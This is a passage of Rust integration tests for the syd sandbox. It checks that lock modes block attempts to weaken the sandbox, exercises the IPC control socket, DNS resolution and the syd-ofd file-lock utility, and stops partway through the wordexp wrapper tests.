test -c /dev/syd/default/${cap}:${act} && exit 6 || true
done
test -c /dev/syd/default/${cap}:kill
for act in allow warn abort filter deny panic stop; do
test -c /dev/syd/default/${cap}:${act} && exit 7 || true
done
test -c /dev/syd/default/${cap}:exit
for act in allow warn abort filter deny panic stop kill; do
test -c /dev/syd/default/${cap}:${act} && exit 8 || true
done
done
# 3. trace/force_* is_drop flags: ON is allowed, OFF is blocked.
for f in deny_dotdot force_cloexec force_no_magiclinks force_no_symlinks force_no_xdev; do
test -c /dev/syd/trace/${f}:1
test -c /dev/syd/trace/${f}:0 && exit 9 || true
done
# 4. trace/allow_unsafe_* is_unsafe flags: ON is blocked, OFF is allowed.
for f in cbpf ebpf dumpable exec_ldso exec_libc exec_memory exec_nopie exec_null exec_stack exec_script exec_interactive exec_speculative kptr ptrace perf create filename hardlinks machine_id proc_files proc_pid_status magiclinks sticky symlinks nice nocookie nomseal noxom sigreturn chown chroot pivot_root oob open_kfd open_path mkbdev mkcdev stat_bdev stat_cdev notify_bdev notify_cdev cpu deprecated keyring pipe pkey madvise mbind page_cache setsockopt time uring xattr caps cap_fixup env pgrp bind any_addr socket personality prctl prlimit shm perm_shm msgqueue perm_msgqueue rseq sysinfo syslog sync memfd uname vmsplice; do
case "${f}" in
cbpf|ebpf|dumpable|exec_libc|exec_memory|exec_null|exec_script|exec_interactive|exec_speculative|kptr|ptrace|perf|proc_files|nice|nocookie|nomseal|noxom|sigreturn|chown|chroot|pivot_root|oob|mkbdev|mkcdev|cpu|deprecated|keyring|pipe|pkey|madvise|mbind|page_cache|setsockopt|time|uring|caps|cap_fixup|env|pgrp|bind|socket|personality|prctl|prlimit|shm|perm_shm|msgqueue|perm_msgqueue|rseq|sysinfo|syslog|sync|uname|vmsplice)
test -c /dev/syd/trace/allow_unsafe_${f}:0 && exit 10 || true
;;
*)
test -c /dev/syd/trace/allow_unsafe_${f}:0
;;
esac
test -c /dev/syd/trace/allow_unsafe_${f}:1 && exit 11 || true
done
# 5. Seccomp rules: Removing is allowed, adding is blocked for allow and vice versa for deny.
for cap in fs walk stat read write exec ioctl create delete rename symlink truncate chdir readdir mkdir rmdir chown chgrp chmod chattr chroot utime mkbdev mkcdev mkfifo mktemp net/bind net/connect net/sendfd; do
obj=
case "${cap}" in
fs) obj=ext4;;
ioctl) obj=FIONREAD;;
net/*) obj='any!22';;
*) obj='/tmp/***';;
esac
for act in allow warn abort filter; do
if [ x"${act}" != xallow ] && [ x"${cap}" = xioctl ]; then
continue
fi
test -c "/dev/syd/${act}/${cap}+${obj}" && exit 12 || true
test -c "/dev/syd/${act}/${cap}-${obj}"
test -c "/dev/syd/${act}/${cap}^${obj}"
done
for act in deny panic stop kill exit; do
if [ x"${act}" != xdeny ] && [ x"${cap}" = xioctl ]; then
continue
fi
test -c "/dev/syd/${act}/${cap}+${obj}"
test -c "/dev/syd/${act}/${cap}-${obj}" && exit 13 || true
test -c "/dev/syd/${act}/${cap}^${obj}" && exit 14 || true
done
done
# 6. Control commands: Fully blocked in drop mode.
for ctl in dump stat panic reset; do
test -c /dev/syd/${ctl} && exit 15 || true
done
# 7. Enter ghost mode: Allowed in drop mode.
test -c /dev/syd/ghost
exit 0
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if `lock:exec` locks the sandbox for all except the exec child.
fn test_syd_lock_exec() -> TestResult {
// Note, we use bash rather than sh,
// because not all sh (e.g. busybox)
// spawn a subsell on (cmd).
skip_unless_available!("bash");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["bash", "-cex", "test -c /dev/syd"])
.status()
.expect("execute syd");
assert_status_ok!(status);
let status = syd()
.p("off")
.m("lock:exec")
.argv(["bash", "-cex", "( test -c /dev/syd )"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
// Tests if `lock:ipc` works with remote config over IPC socket.
fn test_syd_lock_ipc_unix() -> TestResult {
skip_unless_available!("cmp", "jq", "socat");
let syd = &SYD.to_string();
let syd_pds = &SYD_PDS.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
{syd_pds} {syd} -poff -mipc:syd.sock sleep 1h &
while ! test -e syd.sock;do sleep 1; done
echo PONG > ping.exp
echo ping | socat unix-client:syd.sock stdio | jq -r .msg > ping.now
cmp ping.exp ping.now
echo 3.1 > ver.exp.1
echo version | socat unix-client:syd.sock stdio | jq -r .version > ver.now.1
cmp ver.exp.1 ver.now.1
echo 3 > ver.exp.2
echo version | socat unix-client:syd.sock stdio | jq -r .major > ver.now.2
cmp ver.exp.2 ver.now.2
echo 1 > ver.exp.3
echo version | socat unix-client:syd.sock stdio | jq -r .minor > ver.now.3
cmp ver.exp.3 ver.now.3
echo ipc > lock.exp.1
echo stat | socat unix-client:syd.sock stdio | jq -r .lock > lock.now.1
cmp lock.exp.1 lock.now.1
echo 1 > err.exp.1 # EPERM
echo lock:off | socat unix-client:syd.sock stdio | jq -r .err > err.now.1
cmp err.exp.1 err.now.1
echo 1 > err.exp.2 # EPERM
echo lock:exec | socat unix-client:syd.sock stdio | jq -r .err > err.now.2
cmp err.exp.2 err.now.2
echo 2 > err.exp.3 # ENOENT
echo 'sandbox/all?' | socat unix-client:syd.sock stdio | jq -r .err > err.now.3
cmp err.exp.3 err.now.3
echo 0 > err.exp.4
echo sandbox/all:on | socat unix-client:syd.sock stdio | jq -r .err > err.now.4
cmp err.exp.4 err.now.4
echo lock:on | socat unix-client:syd.sock stdio
echo sandbox/all:on | socat unix-client:syd.sock stdio && exit 42 || exit 0
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
// Tests if `lock:ipc` works with remote config over IPC abstract socket.
fn test_syd_lock_ipc_uabs() -> TestResult {
skip_unless_available!("cmp", "jq", "socat");
let syd = &SYD.to_string();
let syd_pds = &SYD_PDS.to_string();
let isocket = format!("syd-{}.sock", env::var("SYD_TEST_NAME").unwrap());
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
{syd_pds} {syd} -poff -mipc:@{isocket} sleep 1h &
while ! echo pink | socat abstract-client:{isocket} stdio; do sleep 1; done
echo PONG > ping.exp
echo ping | socat abstract-client:{isocket} stdio | jq -r .msg > ping.now
cmp ping.exp ping.now
echo 3.1 > ver.exp.1
echo version | socat abstract-client:{isocket} stdio | jq -r .version > ver.now.1
cmp ver.exp.1 ver.now.1
echo 3 > ver.exp.2
echo version | socat abstract-client:{isocket} stdio | jq -r .major > ver.now.2
cmp ver.exp.2 ver.now.2
echo 1 > ver.exp.3
echo version | socat abstract-client:{isocket} stdio | jq -r .minor > ver.now.3
cmp ver.exp.3 ver.now.3
echo ipc > lock.exp.1
echo stat | socat abstract-client:{isocket} stdio | jq -r .lock > lock.now.1
cmp lock.exp.1 lock.now.1
echo 1 > err.exp.1 # EPERM
echo lock:off | socat abstract-client:{isocket} stdio | jq -r .err > err.now.1
cmp err.exp.1 err.now.1
echo 1 > err.exp.2 # EPERM
echo lock:exec | socat abstract-client:{isocket} stdio | jq -r .err > err.now.2
cmp err.exp.2 err.now.2
echo 2 > err.exp.3 # ENOENT
echo 'sandbox/all?' | socat abstract-client:{isocket} stdio | jq -r .err > err.now.3
cmp err.exp.3 err.now.3
echo 0 > err.exp.4
echo sandbox/all:on | socat abstract-client:{isocket} stdio | jq -r .err > err.now.4
cmp err.exp.4 err.now.4
echo lock:on | socat abstract-client:{isocket} stdio
echo sandbox/all:on | socat abstract-client:{isocket} stdio && exit 42 || exit 0
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_lock_ipc_auth() -> TestResult {
skip_if_root!();
skip_unless_available!("jq", "socat");
let syd = &SYD.to_string();
let syd_pds = &SYD_PDS.to_string();
let isocket = format!("syd-{}.sock", env::var("SYD_TEST_NAME").unwrap());
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
{syd_pds} {syd} -poff -mipc:@{isocket} -mipc/uid:0 -mipc/gid:65536 sleep 1h &
while ! echo pink | socat abstract-client:{isocket} stdio; do sleep 1; done
echo AUTH > msg.exp
echo ping | socat abstract-client:{isocket} stdio | jq -r .msg > msg.now
cmp msg.exp msg.now
echo 13 > err.exp
echo stat | socat abstract-client:{isocket} stdio | jq -r .err > err.now
cmp err.exp err.now
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_lock_ipc_rate() -> TestResult {
skip_unless_available!("dd", "jq", "socat");
let syd = &SYD.to_string();
let syd_hex = &SYD_HEX.to_string();
let syd_pds = &SYD_PDS.to_string();
let isocket = format!("syd-{}.sock", env::var("SYD_TEST_NAME").unwrap());
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
{syd_pds} {syd} -poff -mipc:@{isocket} sleep 1h &
while ! echo pink | socat abstract-client:{isocket} stdio; do sleep 1; done
echo RATE > msg.exp
dd if=/dev/zero bs=2048 count=1 | {syd_hex} | socat abstract-client:{isocket} stdio | jq -r .msg > msg.now
cmp msg.exp msg.now
echo 7 > err.exp
dd if=/dev/zero bs=2048 count=1 | {syd_hex} | socat abstract-client:{isocket} stdio | jq -r .err > err.now
cmp err.exp err.now
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
// Tests if `-mlock:on` prevents subsequent -m CLI args.
fn test_syd_lock_prevents_further_cli_args() -> TestResult {
skip_unless_available!("true");
let status = syd()
.p("off")
.m("lock:on")
.m("lock:off")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
let status = syd()
.p("off")
.m("trace/allow_unsafe_ptrace:0")
.m("lock:on")
.m("lock:off")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
let status = syd()
.p("off")
.m("lock:on")
.m("trace/allow_unsafe_ptrace:1")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
let status = syd()
.log("warn")
.p("off")
.m("lock:on")
.p("paludis")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
let status = syd()
.log("warn")
.p("off")
.m("lock:on")
.P("/dev/null")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
// Tests if `-mlock:on` prevents subsequent configuration file edits.
fn test_syd_lock_prevents_further_cfg_items() -> TestResult {
skip_unless_available!("true");
let conf = "lock:on\nlock:off\n";
let mut file = File::create("conf.syd-3")?;
write!(file, "{conf}")?;
drop(file);
let status = syd()
.log("warn")
.p("off")
.P("./conf.syd-3")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
// Tests if `-mlock:on` prevents subsequent file includes.
fn test_syd_lock_prevents_further_inc_items() -> TestResult {
skip_unless_available!("true");
let conf = "sandbox/read:on\n";
let mut file = File::create("conf-1.syd-3")?;
write!(file, "{conf}")?;
drop(file);
let conf = "lock:on\ninclude conf-1.syd-3\n";
let mut file = File::create("conf-2.syd-3")?;
write!(file, "{conf}")?;
drop(file);
let status = syd()
.log("warn")
.p("off")
.P("./conf-2.syd-3")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
// Tests if syd-dns can resolve DNS with AF_UNSPEC under syd.
fn test_syd_dns_resolve_host_unspec() -> TestResult {
eprintln!("+ syd-dns chesswob.org");
let status = Command::new(&*SYD_DNS)
.arg("chesswob.org")
.status()
.expect("execute syd-dns");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_ok!(status);
} else {
eprintln!("[*] No network connection, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(()); // Skip test.
}
let status = syd()
.p("off")
.argv([&*SYD_DNS])
.arg("chesswob.org")
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_ok!(status);
} else {
eprintln!("[*] No network connection, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(()); // Skip test.
}
Ok(())
}
// Tests if syd-dns can resolve DNS with AF_INET under syd.
fn test_syd_dns_resolve_host_ipv4() -> TestResult {
eprintln!("+ syd-dns -4 chesswob.org");
let status = Command::new(&*SYD_DNS)
.arg("-4")
.arg("chesswob.org")
.status()
.expect("execute syd-dns");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_ok!(status);
} else {
eprintln!("[*] No network connection, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(()); // Skip test.
}
let status = syd()
.p("off")
.argv([&*SYD_DNS])
.arg("-4")
.arg("chesswob.org")
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_ok!(status);
} else {
eprintln!("[*] No network connection, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(()); // Skip test.
}
Ok(())
}
// Tests if syd-dns can resolve DNS with AF_INET6 under syd.
fn test_syd_dns_resolve_host_ipv6() -> TestResult {
skip_unless_ipv6!();
eprintln!("+ syd-dns -6 chesswob.org");
let status = Command::new(&*SYD_DNS)
.arg("-6")
.arg("chesswob.org")
.status()
.expect("execute syd-dns");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_ok!(status);
} else {
eprintln!("[*] No network connection, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(()); // Skip test.
}
let status = syd()
.p("off")
.argv([&*SYD_DNS])
.arg("-6")
.arg("chesswob.org")
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_ok!(status);
} else {
eprintln!("[*] No network connection, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(()); // Skip test.
}
Ok(())
}
// Check syd-ofd(1) utility.
fn test_syd_ofd() -> TestResult {
skip_unless_available!("awk", "sh", "mktemp");
let status = Command::new("sh")
.env("SYD_OFD", &*SYD_OFD)
.env("SYD_PAUSE", &*SYD_PAUSE)
.env("SYD_PDS", &*SYD_PDS)
.env("EACCES", EACCES.to_string())
.env("EAGAIN", EAGAIN.to_string())
.env("EINTR", EINTR.to_string())
.env("EISDIR", EISDIR.to_string())
.env("ELOOP", ELOOP.to_string())
.env("ENOENT", ENOENT.to_string())
.env("SIGTERM", SIGTERM.to_string())
.arg("-c")
.arg(
r###"
#!/bin/sh
SYD_OFD="${SYD_PDS:-syd-pds} ${SYD_OFD:-syd-ofd}"
SYD_PAUSE="${SYD_PDS:-syd-pds} ${SYD_PAUSE:-syd-pause}"
FAIL=0
i=0
TOTAL=16
cwd=$(env TMPDIR=. mktemp -d syd_test_ofd_XXXXXXXXXX)
cd $cwd || exit 127
echo " # Subtest: syd-ofd"
echo " # 1..$TOTAL"
# T01: help -> 0
i=$((i + 1))
T="T01"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -h"
$SYD_OFD -h >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 0 ]; then
echo " ok $i - help"
else
echo " not ok $i - help"
echo " # rc=$RC exp=0"
echo " # cmd: $CMD"
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
# T02: basic -w true -> 0
rm -f lock1
i=$((i + 1))
T="T02"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD lock1 true"
$SYD_OFD lock1 true >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 0 ]; then
echo " ok $i - basic -w true"
else
echo " not ok $i - basic -w true"
echo " # rc=$RC exp=0"
echo " # cmd: $CMD"
ls -l lock1 2>/dev/null | sed 's/^/ # ls: /'
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
# T03: -w child exit=7 -> 7
rm -f lock2
i=$((i + 1))
T="T03"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -w lock2 sh -c 'exit 7'"
$SYD_OFD -w lock2 sh -c 'exit 7' >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 7 ]; then
echo " ok $i - -w child exit=7"
else
echo " not ok $i - -w child exit=7"
echo " # rc=$RC exp=7"
echo " # cmd: $CMD"
ls -l lock2 2>/dev/null | sed 's/^/ # ls: /'
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
# T04: child SIGTERM
EXIT_SIGTERM=`expr 128 + ${SIGTERM}`
rm -f lock3
i=$((i + 1))
T="T04"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD lock3 sh -c 'kill -TERM $$'"
$SYD_OFD lock3 sh -c 'kill -TERM $$' >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq "$EXIT_SIGTERM" ]; then
echo " ok $i - child SIGTERM -> ${EXIT_SIGTERM}"
else
echo " not ok $i - child SIGTERM"
echo " # rc=$RC exp=${EXIT_SIGTERM}"
echo " # cmd: $CMD"
ls -l lock3 2>/dev/null | sed 's/^/ # ls: /'
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
# T05: -r with -r is compatible (nonblocking -> 0)
rm -f lock4
$SYD_OFD -r lock4 $SYD_PAUSE >/dev/null 2>&1 &
HPID=$!
# wait until a conflicting -w -n returns EAGAIN => holder has the lock
c=0
while :; do
$SYD_OFD -w -n lock4 true >/dev/null 2>&1
T_RC=$?
[ "$T_RC" -eq "$EAGAIN" ] && break
c=$((c + 1))
[ "$c" -ge 2000 ] && break
done
i=$((i + 1))
T="T05"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -r -n lock4 true"
$SYD_OFD -r -n lock4 true >"$OUT" 2>"$ERR"
RC=$?
kill "$HPID" >/dev/null 2>&1 || true
wait "$HPID" >/dev/null 2>&1 || true
if [ "$RC" -eq 0 ]; then
echo " ok $i - -r with -r nonblocking"
else
echo " not ok $i - -r with -r nonblocking"
echo " # rc=$RC exp=0"
echo " # cmd: $CMD"
ls -l lock4 2>/dev/null | sed 's/^/ # ls: /'
if [ -r /proc/locks ]; then grep lock4 /proc/locks | sed 's/^/ # /'; fi
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
# T06: -n with held -w -> EAGAIN
rm -f lock5
$SYD_OFD -w lock5 $SYD_PAUSE >/dev/null 2>&1 &
HPID=$!
# ensure held
c=0
while :; do
$SYD_OFD -w -n lock5 true >/dev/null 2>&1
T_RC=$?
[ "$T_RC" -eq "$EAGAIN" ] && break
c=$((c + 1))
[ "$c" -ge 2000 ] && break
done
i=$((i + 1))
T="T06"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -w -n lock5 true"
$SYD_OFD -w -n lock5 true >"$OUT" 2>"$ERR"
RC=$?
kill "$HPID" >/dev/null 2>&1 || true
wait "$HPID" >/dev/null 2>&1 || true
if [ "$RC" -eq "$EAGAIN" ]; then
echo " ok $i - -n conflict -> EAGAIN(${EAGAIN})"
else
echo " not ok $i - -n conflict"
echo " # rc=$RC exp=${EAGAIN}(EAGAIN)"
echo " # cmd: $CMD"
ls -l lock5 2>/dev/null | sed 's/^/ # ls: /'
if [ -r /proc/locks ]; then grep lock5 /proc/locks | sed 's/^/ # /'; fi
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
# T07: -t 100ms under held -w -> EINTR
rm -f lock6
$SYD_OFD -w lock6 $SYD_PAUSE >/dev/null 2>&1 &
HPID=$!
# ensure held
c=0
while :; do
$SYD_OFD -w -n lock6 true >/dev/null 2>&1
T_RC=$?
[ "$T_RC" -eq "$EINTR" ] && break
c=$((c + 1))
[ "$c" -ge 2000 ] && break
done
i=$((i + 1))
T="T07"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -w -t 100 lock6 true"
$SYD_OFD -w -t 100 lock6 true >"$OUT" 2>"$ERR"
RC=$?
kill "$HPID" >/dev/null 2>&1 || true
wait "$HPID" >/dev/null 2>&1 || true
if [ "$RC" -eq "$EINTR" ]; then
echo " ok $i - -t timeout -> EINTR(${EINTR})"
else
echo " not ok $i - -t timeout"
echo " # rc=$RC exp=${EINTR}(EINTR)"
echo " # cmd: $CMD"
ls -l lock6 2>/dev/null | sed 's/^/ # ls: /'
if [ -r /proc/locks ]; then grep lock6 /proc/locks | sed 's/^/ # /'; fi
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
# T08: -w vs held -r with -n -> EAGAIN
rm -f lock7
$SYD_OFD -r lock7 $SYD_PAUSE >/dev/null 2>&1 &
HPID=$!
# ensure held (conflicting -w -n returns EAGAIN)
c=0
while :; do
$SYD_OFD -w -n lock7 true >/dev/null 2>&1
T_RC=$?
[ "$T_RC" -eq "$EAGAIN" ] && break
c=$((c + 1))
[ "$c" -ge 2000 ] && break
done
i=$((i + 1))
T="T08"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -w -n lock7 true"
$SYD_OFD -w -n lock7 true >"$OUT" 2>"$ERR"
RC=$?
kill "$HPID" >/dev/null 2>&1 || true
wait "$HPID" >/dev/null 2>&1 || true
if [ "$RC" -eq "$EAGAIN" ]; then
echo " ok $i - -w blocked by -r -> EAGAIN(${EAGAIN})"
else
echo " not ok $i - -w blocked by -r"
echo " # rc=$RC exp=${EAGAIN}(EAGAIN)"
echo " # cmd: $CMD"
ls -l lock7 2>/dev/null | sed 's/^/ # ls: /'
if [ -r /proc/locks ]; then grep lock7 /proc/locks | sed 's/^/ # /'; fi
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
# T09: -n on free lock -> 0
rm -f lock8
i=$((i + 1))
T="T09"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -n lock8 true"
$SYD_OFD -n lock8 true >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 0 ]; then
echo " ok $i - -n on free lock"
else
echo " not ok $i - -n on free lock"
echo " # rc=$RC exp=0"
echo " # cmd: $CMD"
ls -l lock8 2>/dev/null | sed 's/^/ # ls: /'
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
# T10: -d 9 passes FD; child writes via FD 9 -> 0 and file nonempty
rm -f lock9
i=$((i + 1))
T="T10"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -d 9 lock9 sh -c 'printf x >&9'"
$SYD_OFD -d 9 lock9 sh -c 'printf x >&9' >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 0 ] && [ -s lock9 ]; then
echo " ok $i - -d 9 usable in child"
else
echo " not ok $i - -d 9 usable in child"
echo " # rc=$RC exp=0 and file nonempty"
echo " # cmd: $CMD"
ls -l lock9 2>/dev/null | sed 's/^/ # ls: /'
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
# T11: '..' component -> EACCES
: >lock.ok 2>/dev/null || true
mkdir -p A 2>/dev/null || true
i=$((i + 1))
T="T11"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD A/../lock.ok true"
$SYD_OFD A/../lock.ok true >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq "$EACCES" ]; then
echo " ok $i - '..' path -> EACCES(${EACCES})"
else
echo " not ok $i - '..' path"
echo " # rc=$RC exp=${EACCES}"
echo " # cmd: $CMD"
ls -l A/.. 2>/dev/null | sed 's/^/ # ls: /'
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
# T12: symlink component -> ELOOP
rm -f LNK 2>/dev/null || true
ln -s . LNK 2>/dev/null || true
rm -f LNK/lock.loopy 2>/dev/null || true
i=$((i + 1))
T="T12"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD LNK/lock.loopy true"
$SYD_OFD LNK/lock.loopy true >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq "$ELOOP" ]; then
echo " ok $i - symlink component -> ELOOP(${ELOOP})"
else
echo " not ok $i - symlink component"
echo " # rc=$RC exp=${ELOOP}"
echo " # cmd: $CMD"
ls -l LNK 2>/dev/null | sed 's/^/ # ls: /'
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
# T13: missing parent -> ENOENT
MISSDIR="missingdir_$$"
rm -rf "$MISSDIR" 2>/dev/null || true
i=$((i + 1))
T="T13"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD $MISSDIR/lock true"
$SYD_OFD "$MISSDIR/lock" true >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq "$ENOENT" ]; then
echo " ok $i - missing parent -> ENOENT(${ENOENT})"
else
echo " not ok $i - missing parent"
echo " # rc=$RC exp=${ENOENT}"
echo " # cmd: $CMD"
ls -ld "$MISSDIR" 2>/dev/null | sed 's/^/ # ls: /'
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
# T14: target is directory -> EISDIR
rm -rf dir.lock 2>/dev/null || true
mkdir -p dir.lock 2>/dev/null || true
i=$((i + 1))
T="T14"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD dir.lock true"
$SYD_OFD dir.lock true >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq "$EISDIR" ]; then
echo " ok $i - target is directory -> EISDIR(${EISDIR})"
else
echo " not ok $i - target is directory"
echo " # rc=$RC exp=${EISDIR}"
echo " # cmd: $CMD"
ls -ld dir.lock 2>/dev/null | sed 's/^/ # ls: /'
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
# T15: explicit -N success -> 0
rm -f lockN
i=$((i + 1))
T="T15"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD -N lockN true"
$SYD_OFD -N lockN true >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq 0 ]; then
echo " ok $i - -N explicit success"
else
echo " not ok $i - -N explicit success"
echo " # rc=$RC exp=0"
echo " # cmd: $CMD"
ls -l lockN 2>/dev/null | sed 's/^/ # ls: /'
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
# T16: exec failure -> ENOENT
rm -f lockE
i=$((i + 1))
T="T16"
OUT="out.$T"
ERR="err.$T"
CMD="$SYD_OFD lockE /this/definitely/does/not/exist"
$SYD_OFD lockE /this/definitely/does/not/exist >"$OUT" 2>"$ERR"
RC=$?
if [ "$RC" -eq "$ENOENT" ]; then
echo " ok $i - exec failure -> ENOENT(${ENOENT})"
else
echo " not ok $i - exec failure"
echo " # rc=$RC exp=${ENOENT}"
echo " # cmd: $CMD"
ls -l lockE 2>/dev/null | sed 's/^/ # ls: /'
sed 's/^/ # stdout: /' "$OUT"
sed 's/^/ # stderr: /' "$ERR"
FAIL=$((FAIL + 1))
fi
if [ "$FAIL" -eq 0 ]; then
echo " ok - syd-ofd subtest"
exit 0
else
echo " not ok - syd-ofd subtest"
echo " # $FAIL failure(s) out of $TOTAL"
exit "$FAIL"
fi
"###,
)
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
// Check our wordexp(3) wrapper using its syd-env interface.
#[cfg(not(target_os = "android"))]
fn test_syd_wordexp() -> TestResult {
skip_unless_available!(
"cat", "chmod", "chroot", "cut", "head", "ln", "mkdir", "rm", "sh", "tr", "wc"
);
use syd::wordexp::{
WRDE_BADCHAR, WRDE_BADVAL, WRDE_CMDSUB, WRDE_NOSPACE, WRDE_SECCOMP, WRDE_SYNTAX,
WRDE_TIMEOUT,
};
fn wrde2str(err: i32) -> String {
match err {
0 => "success".to_string(),
128 => "unknown error".to_string(),
WRDE_NOSPACE => "WRDE_NOSPACE".to_string(),
WRDE_BADCHAR => "WRDE_BADCHAR".to_string(),
WRDE_BADVAL => "WRDE_BADVAL".to_string(),
WRDE_CMDSUB => "WRDE_CMDSUB".to_string(),
WRDE_SYNTAX => "WRDE_SYNTAX".to_string(),
WRDE_SECCOMP => "WRDE_SECCOMP".to_string(),
WRDE_TIMEOUT => "WRDE_TIMEOUT".to_string(),
_ => {
let errno = Errno::from_raw(err);
let mut errmsg = format!("errno {errno}");
if let Ok(sig) = Signal::try_from(err) {
errmsg.push_str(&format!("or signal {}", sig.as_str()));
}
errmsg
}
}
}
#[expect(clippy::type_complexity)]
struct ExpandTest<'a> {
name: &'a str,
arg: &'a [u8],
env_add: &'a [(&'a [u8], &'a [u8])],
env_rem: &'a [&'a [u8]],
out_err: Option<i32>,
out_ret: Option<&'a [u8]>,
}
// Define the test cases.
let tests: Vec<ExpandTest> = vec![
ExpandTest {
name: "[basic] empty string returns itself",
arg: b"",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b""),
},
ExpandTest {
name: "[basic] literal string returns itself",
arg: b"oops",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b"oops"),
},
ExpandTest {
name: "[basic] expand single variable",
arg: b"$TEST",
env_add: &[(b"TEST", b"/home")],
env_rem: &[],
out_err: None,
out_ret: Some(b"/home"),
},
ExpandTest {
name: "[basic] expand single variable with curly brackets",
arg: b"${TEST}",
env_add: &[(b"TEST", b"/home")],
env_rem: &[],
out_err: None,
out_ret: Some(b"/home"),
},
ExpandTest {
name: "[basic] expand single variable with curly brackets and default",
arg: b"${TEST:-1}",
env_add: &[(b"TEST", b"/home")],
env_rem: &[],
